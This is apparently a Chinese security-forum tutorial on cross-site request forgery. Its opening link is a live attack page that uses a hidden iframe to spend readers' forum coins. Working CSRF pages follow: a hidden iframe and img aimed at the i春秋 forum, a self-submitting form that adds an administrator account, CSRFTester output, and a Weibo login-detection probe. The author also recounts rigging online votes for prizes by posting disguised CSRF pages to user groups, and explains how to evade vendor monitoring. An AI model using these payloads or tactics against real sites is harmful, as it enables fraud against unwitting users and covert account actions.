开始之前,请大家访问一下这个测试页面:
i春秋测试页面

为什么会有这样的效果呢?

网页显示效果如下:

这就是我想聊一聊的————CSRF,Cross-site request forgery,跨站请求伪造,被很多人称作“沉睡的巨人”。

也许,会有人说csrf,太简单了,不需要科普了。但是,据我初步统计,以及在i春秋论坛看到的各类帖子,我觉得大家都比较热衷于服务器入侵、wifi入侵、数据库注入、上传木马、XSS等,而对于CSRF关注的较少、甚至在攻击中将其冷落。仅我个人观点,CSRF是很多企业较薄弱的环节,而产生的危害却是很大的,我曾利用CSRF找厂商高危漏洞、刷票赢手机。而上面的链接,这不,我在薅i春秋用户的羊毛么!

我会介绍以下内容:

  • CSRF,图文讲解攻击原理
  • 跨域,浏览器的安全防护
  • 模拟,多维度实施CSRF
  • CSRFTester,OWASP出品
  • 攻击,回忆过去干过的坏事
  • 隐秘,骗过厂商的网络监控
  • 1. CSRF,图文讲解攻击原理

    CSRF攻击,用一句话来形容就是:借用户的名义,做违背用户的事情。

    “借”,和传统SQL注入、XSS不同,攻击者并没有主动窃取用户的信息、服务器的数据。“违背”,说明在CSRF攻击中,受害用户触发了不想做的操作。

    那么,我们看一下,CSRF攻击的整个过程。

    如图,CSRF攻击首先要构造一个恶意网站,并且要满足两个条件:
    1. 要让用户访问恶意网站
    2. 用户的浏览器需要保持第三方正规网站登录状态

    满足这两个条件后,恶意网站html中嵌入恶意代码,恶意代码会让浏览器访问第三方网站,而浏览器在访问第三方网站时会带上cookie(即登录状态),进而导致对第三方网站进行操作。

    文章开头实施的攻击,可以这么表示:
    攻击者网站————文章开头,我放上去的那个连接
    第三方正规网站————i春秋论坛
    恶意代码————花3个魔法币购买东西

    在这个过程中,恶意代码并没有展现到浏览器中,因此对于用户而言这个攻击过程是无感知的。而对于请求而言,确实是从用户的浏览器发出的,因此企业安全监控也是无感知的。也就是说,黑客网站服务器,没有对第三方网站发动任何直接攻击,它是引导用户浏览器触发请求。因此可以说:
    CSRF是一种隐秘性的攻击,攻击威力巨大。

    当然,CSRF攻击很难像sql注入那样批量跑注入点检测脚本,也很难像XSS注入那样做一个XSS平台。想要实施CSRF攻击,一般都需要对目标网站请求有深入了解,而且由于攻击场景构造困难,因此一般的黑客不采用CSRF攻击。
    CSRF是一种困难的攻击,使用频率较低。

    写到这里,我们应该明白为什么CSRF是“沉睡的巨人”了吧!

    再来看一下,开篇链接的网页源码:

    <!DOCTYPE HTML>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="chrome=1,IE=Edge"/>
    <title>i春秋魔法币</title>
    </head>

    <body style="text-align:center">
    <h2>i春秋测试页面</h2>
    <br/>
    <h3>如果你的浏览器登陆了i春秋论坛,并且你的魔法币大于3。</h3>
    <h3>那么,你的魔法币将被扣除3个。</h3>
    <h3>希望我写的这篇帖子对你有帮助,对得起那3个魔法币。</h3>
    <br/>
    <h3>如果不信,你可以先查看魔法币数量,然后刷新此页面,确认魔法币是否再次减3个。</h3>
    <h3>不要频繁刷新,小心魔法币扣光哦。</h3>
    </body>

    <iframe src="https://bbs.ichunqiu.com/forum.php?mod=attachment&aid=NDE0NjR8NzJmNjFkZjN8MTQ5MDI1ODUzNHwyMDI4NjN8MTk1NTE%3D" style="display:none;">

    都是很常见的html,简单的文字输出,甚至连js脚本都没有,就可以实施攻击。重点就在于最后一行的iframe标签,这个请求会触发你的魔法币减3个,另外我增加了display:none,因此网页上面是隐藏不可见的。

    也许有人会问,浏览器安全里面不是有一点关于跨域的么,为了安全起见,浏览器不允许网络请求跨域,即A网站不允许操作B网站。
    为什么你的网站可以操作i春秋论坛减魔法币?
    浏览器跨域保护的是什么?
    哪些资源可以跨域?
    如何绕过跨域,获取用户信息?
    如果不深入理解浏览器跨域,这些问题是很难想清楚的,深谙跨域原理,才能更深入的玩转CSRF攻击。

    2. 跨域,浏览器的安全防护

    说到跨域,说先要说一下浏览器的最重要的特性————同源策略,A网页存储的数据(如cookie、LocalStorage等),B网页是不能获取的,除非A网页和B网页同源。

    同源需要:协议相同,域名相同,端口相同。对于bbs.ichunqiu.com/portal.php而言:
    bbs.ichunqiu.com/home.php,同源
    www.ichunqiu.com/,不同源,域名不同
    bbs.ichunqiu.com:8080/portal.php,不同源,端口不同

    对于不是同源的两个网站,浏览器是不允许发送ajax请求、共享cookie、操作dom元素等等。不过cookie有些特殊,为了让网站开发更为方便,两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain共享 Cookie。

    对于iframe而言,如果有两个网站A和B,网站A用iframe引入了网站B,网站A和iframe网站B是同源,那么网站A可以操作iframe获取网站B的dom,而如果网站A和B不是同源,那么网站A通过iframe获取网站B的dom时浏览器会报错。这样就可以避免,网站A恶意操作网站B了。

    对于ajax而言,同源策略依旧适用,网站A不能模拟发送网站B的ajax请求,不然用户访问网站A时,网站A就可以发送各种网站B的操作请求了。

    因此,同源策略机制,保证了浏览器很多操作不能跨域执行,所以经常工作中会听别人说,这个不能实现,存在跨域问题。

    回到之前说的,为什么我构造的网页,可以操作i春秋论坛,这是因为“我根本没有操作i春秋论坛”,我只是“单纯”地把一个i春秋的网址放到了iframe下,其它什么都没做,因此,当然不存在跨域问题了。那为什么会扣3个魔法币呢,这是因为i春秋扣除魔法币的请求,就是这个链接,不需要ajax、不需要post,什么都不需要。就算我搞个img标签,依旧可以触发:

    <img src="https://bbs.ichunqiu.com/forum.php?mod=attachment&aid=NDE0NjR8NzJmNjFkZjN8MTQ5MDI1ODUzNHwyMDI4NjN8MTk1NTE%3D" />

    如何把坏蛋的魔法币扣光?

    答案:
    经过测试,对于下载过的文件,如果再次下载,魔法币会再次扣除,i春秋并没有做是否下载过的判断。
    由于坏蛋的魔法币有13493个,我们上传一个附件,设置为10魔法币下载,构造一个网页,里面引入1349个iframe扣除10魔法币的链接,以及1个iframe扣除3个魔法币的链接。
    13493=1349*10+3

    毕竟嘛,一个魔法币都不给留,才能体现出攻击者的严谨性。

    然后将网页进行装饰,比如标题是“女大学生寻求****”,然后网页内容全是妹子图,越多越好,越漂亮越好。
    因为我们的iframe太tmd多了,我们要保证坏蛋在我们的网页上面,页面停留时间超级长才行。。。

    以上,纯属yy,当然,这里只是想告诉大家,有些黑客攻击,拼的不仅是技术,还有结合生活经验的猥琐。。。

    3. 模拟,多维度实施CSRF

    实施CSRF攻击,我们用的是iframe,除了iframe还有哪些呢?

    form,一般可以创建一个隐藏的表单,并由js触发提交,可以实施get和post两种攻击。
    iframe,创建一个iframe框架,高宽为0,用户不可见,可以实施get和post两种攻击。
    img,构造非常简单,src链接填写目标链接即可,只能实施get攻击。
    a,创建一个a标签链接,用户点击即可触发,只能实施get攻击。

    对于xhr,ajax实施CSRF攻击,也是可以的。不过,仅当网站开启CORS,我个人没有利用过ajax实施过攻击,只是在本地测试过可行性。有兴趣了解CORS原理的,可以移步阮老师的blog:
    跨域资源共享 CORS 详解

    在这里,我们做一个测试,来通过post发起CSRF攻击。

    A网站,如图所示,这是一个管理员页面,提供添加新的管理员的功能,网址:http://ranshy.com/icq/admin/

    添加新的管理员为test,密码为test,发送的是post请求,添加成功后,会在管理员列表中新增一项,如图。

    此时,我们构造CSRF攻击的另一个网站,注意不同源哦。网址:http://jishu.website/icq.html

    代码如下,当然,你也可以保存到本地,本地也可以进行测试。

    <!DOCTYPE html>
    <html >
    <!DOCTYPE html>
    <html >
    <head>
      <meta charset="UTF-8">
      <title>i春秋测试页面</title>
      <link rel="stylesheet" href="css/style.css">
    </head>

    <body onload="javascript:alert('点击确认,向第三方网站,新增管理员');icq()">

    <script>
    function icq()
    {
        document.getElementById('icq_click').click()
    }
    </script>

    <form action="http://ranshy.com/icq/admin/" method="post">
        <input name="name" value="ichunqiu">
        <input name="password" value="ichunqiu">
        <input type="submit" id="icq_click">
    </form>

    </body>

    代码主要就是,构造一个表单,点击确认后自动提交表单。当然,在正规攻击中,为了不引起用户怀疑,是不会有弹框提示的,且表单也会隐藏掉,只要用户访问网页,就自动触发。我在这里加弹框,是为了让大家看到具体的效果:

    用户点击后,表单自动提交,在毫无感知的情况下,又加了一个新的管理员:

    至此,csrf post攻击成功。post攻击场景很多,主要针对网站没有对post进行防护的网站,比如:
    发送一个链接给论坛管理员,管理员点击后自动删帖子
    发送一个链接给社交网站陌生人,陌生人点击后自动加好友
    等等,只要是目标网站使用post的,且没有做csrf防护的,请求可以被模拟的,都可以实施此攻击。

    当然,i春秋论坛的post是相对比较安全的,因为每次post的数据是不固定的,是不能被模拟的。

    4. CSRFTester,OWASP出品

    在这里,给大家介绍一款工具————CSRFTester,作为owasp的会员,当然要推自家产品啦!

    下载地址:
    https://www.owasp.org/index.php/File:CSRFTester-1.0.zip

    和burpsuit类似,都是由java写的,本地要支持java环境。下载后,运行run.bat即可,软件会在本地监听8008端口。使用也和burpsuit类似,设置代理为8008,然后浏览器访问就会经过CSRFTester啦。

    继续以刚才的添加管理员Demo为例,我们访问,并添加一个账号,名字为CSRFTester_name,密码为CSRFTester_password,我们可以看到OWASP CSRFTester中,有了好几个请求,我们选择post的那个请求,点击Generate HTML按钮,即可生成可以csrf攻击的html代码。

    生成的代码如下:

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

    <html>
    <head>
    <title>OWASP CRSFTester Demonstration</title>
    </head>

    <body onload="javascript:fireForms()">
    <script language="JavaScript">
    var pauses = new Array( "52","55","52","29","53" );

    function pausecomp(millis)
    {
        var date = new Date();
        var curDate = null;

        do { curDate = new Date(); }
        while(curDate-date < millis);
    }

    function fireForms()
    {
        var count = 5;
        var i=0;
       
        for(i=0; i<count; i++)
        {
            document.forms[i].submit();
           
            pausecomp(pauses[i]);
        }
    }
       
    </script>
    <H2>OWASP CRSFTester Demonstration</H2>
    <form method="GET" name="form0" action="http://ranshy.com:80/icq/admin/">
    <input type="hidden" name="name" value="value"/>
    </form>
    <form method="GET" name="form1" action="http://ranshy.com:80/icq/admin/">
    <input type="hidden" name="name" value="value"/>
    </form>
    <form method="POST" name="form2" action="http://ranshy.com:80/icq/admin/index.php">
    <input type="hidden" name="name" value="CSRFTester_name"/>
    <input type="hidden" name="password" value="CSRFTester_password"/>
    </form>
    <form method="GET" name="form3" action="http://ranshy.com:80/icq/admin/">
    <input type="hidden" name="name" value="value"/>
    </form>
    <form method="GET" name="form4" action="http://ranshy.com:80/icq/admin/">
    <input type="hidden" name="name" value="value"/>
    </form>

    </body>
    </html>

    当然,导出的类型有很多种,可以根据不同情况进行选择。

    CSRFTester软件,最大的好处是,自动将目标网站请求转换为可以实施攻击的html代码,极大节省了我们自己的构造成本。

    5. 攻击,回忆过去干过的坏事

    本来不想写这个,但是总觉得不说一点实战的东西,不一定会知道如何把csrf用到实际中来。

    很久以前,一个朋友找我,问可不可以刷票,刷票网站是经过微信授权的,但投票是他们自己的网站。

    也就是说,流程如下:
    用户手机访问网站--》判断是否微信登陆--》微信登陆,获取微信id--》网站校验微信id是否合法--》校验成功,网站保存登陆状态--》用户在网站参与投票

    一般会拖微信刷票的朋友帮忙,由于不是微信自己的投票,所以我就没拖其他朋友。自己琢磨,进行测试:
    1. 伪造微信id失败,刚才也说了,网站服务器校验了微信id真实性
    2. 真实微信id,重复投票失败,做了次数限制
    3. 寻找网站注入点失败,而且不建议用,有法律风险
    4. 不同的真实微信id,每天竟然还有次数限制!坑啊,也就是说,得到一批真实id,还要批量走代理。。。
    5. 每天都可以投一次票。

    当时用burpsuit各种试,一直失败,还在想,投票就这么简单的一个请求,为啥搞不定呢,怎么能伪造目标网站登陆状态啊。

    一个简单的请求,一个简单,简单!思路来了。。。

    构造一个网页,域名自己的,网页内容里面隐藏了投票的请求,没错,CSRF!!!

    然后,信息搜集,查到两个群,里面是那个互联网公司维护的,好多用户,大家定时会发一些相关的东西。所以,构造了一个适合群里看的内容网页,发了出去。

    果不其然,群里大部分都是登陆状态,一访问这个网址,就帮加票。

    由于投票是持续很多天,我让那哥们准备了好多篇软文,每天定时发几次不同的,只要大家点击,就帮他投票。

    再有一个朋友求帮忙,是某互联网公司举行一年一度的盛典,组织了一次全民投票,前十名,可以免费往返机票、住宿,参加盛典,并获得证书和奖品。

    由于有了csrf刷票的经验,这次也不例外,帮某人进了前十,得了几千元的礼品,盛典的视频还上了北京地方电视台。

    也许只有我,会用CSRF干这么low的事情吧————帮朋友刷票这种事。。。

    6. 隐秘,骗过厂商的网络监控

    我提到过CSRF攻击具有隐秘性,是从用户自身出发网络请求,但是,这种隐秘也只是一般的隐秘。

    就拿i春秋的刷魔法币为例子,如果代码只做到这个层面,那么我把链接发给很多人,而很有可能收到链接的人里,有一半没有登陆i春秋。

    假设100人点击恶意网站,仅30人所在浏览器登录了i春秋,那么将会有70人扣魔法币失败。这是一个什么概念?这会导致,i春秋的服务器日志中显示,70个请求是扣魔法币下载失败。如果网站做了异常监控,很有可能这一行为被安全运维发现,进而发现漏洞,并修复。

    再比如某社交网站存在CSRF,攻击者构造了一个加好友的链接,只要点击网页,就会触发加好友。攻击者通过这个CSRF,可以窃取加好友后的个人信息资料。那么,如果很多点击恶意网站用户并没有登陆社交网站,这会导致社交网站服务器收到大量无登录状态的加好友请求,而这些请求全部失败,这肯定容易引起异常关注。

    所以,没有绝对的隐秘,攻击者要提升能力,做到更隐秘。

    在CSRF攻击中,怎么做到更隐秘,最重要一点就是:
    请求要发的合理。

    正如这里提到的,未登录的用户发请求,就会异常。我们需要判断用户是否为登陆状态,如果未登录,则不发动CSRF,如果登录,则发动CSRF。这会让CSRF更加精准,减少服务器的异常请求,进而躲避安全监控。

    问题来了!恶意网站,如何判断目标网站是否为登陆?

    之前也说了,浏览器禁止跨域,那么恶意网站是不能够获取目标网站信息的,那么也是不可能知道目标网站是否为登陆状态的。

    别急,既然有跨域限制,那么我们绕过跨域,不从跨域这个点出发,看是否有解决方案。答案是有的,不受跨域限制的有哪些:
    1. 图片
    2. JS文件(注意,是js文件)

    图片,怎么可能知道目标网站是否登陆,这不闹呢么!

    我们再以i春秋为例子,看一下这个链接:

    https://user.ichunqiu.com/login?s=bbs&r=https%3A%2F%2Fbbs.ichunqiu.com

    这是各大网站最常见的功能,登陆自动跳转。有些网站子业务非常多,做了统一登录入口,并允许通过传参的方式,登陆成功后进行跳转。当然,为了安全起见,跳转的目标网址都会加白名单,只有自己公司的产品网址,才会跳转。

    用这个我们能干什么:
    1. 如果用户没有登陆,则网页显示为登陆页面
    2. 如果用户登录了,则网页显示为302跳转的页面

    一般情况下,每个网站都有一个神奇的图片:
    https://bbs.ichunqiu.com/favicon.ico

    我们将网址改造成这样(为了看起来清楚,没有加urlencode):

    https://user.ichunqiu.com/login?s=bbs&r=https://bbs.ichunqiu.com/favicon.ico

    这个链接的含义就变了:
    1. 如果用户没有登陆,则网页显示为登陆页面
    2. 如果用户登录了,则网页显示为302跳转到favicon图片

    写到这里,应该大家明白了。若未登陆,就是个普通网页,若登陆,则这个链接会是图片!

    而图片img标签,是没有跨域的,即攻击者网站可以引用目标网站图片。由于i春秋最近的登陆有问题,即使登陆了,再访问登陆页面,还会显示未登录。

    所以我很无奈,只好用新浪微博做为例子,判断登陆代码如下:

    <!DOCTYPE HTML>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>微博登陆判断</title>
    </head>

    <body>
    <img style="display:none;" onload="alert('已经登陆微博')" onerror="alert('没有登录微博')" src="http://weibo.com/login.php?url=http://weibo.com/favicon.ico">
    </body>

    js会通过链接是否是图片,来判断用户是否登陆微博,如果用户所在浏览器登录了微博,那么会提示已登陆。

    还有另一种方法:JSONP,它是基于加载JS文件的方式,进行获取目标网站信息的方法,这里不做深入讨论,有兴趣的话可以参考我写的另一篇帖子:
    利用jsonp原理精准定位约炮需求用户

    除了判断登陆,让CSRF更加隐秘,有些请求,是针对不同人群的。比如,未开通某个功能的用户是不能发起请求的,那么我们还要根据用户画像,进行筛选和分类,然后实施攻击。总之,真正的攻击是技术与经验相结合的产物,高手是不会乱出招的。

    最后,一句话总结:
    CSRF————低调中,展现华丽。

    本文首发于i春秋,禁止转载,如需转载,请联系i春秋:
    https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=20884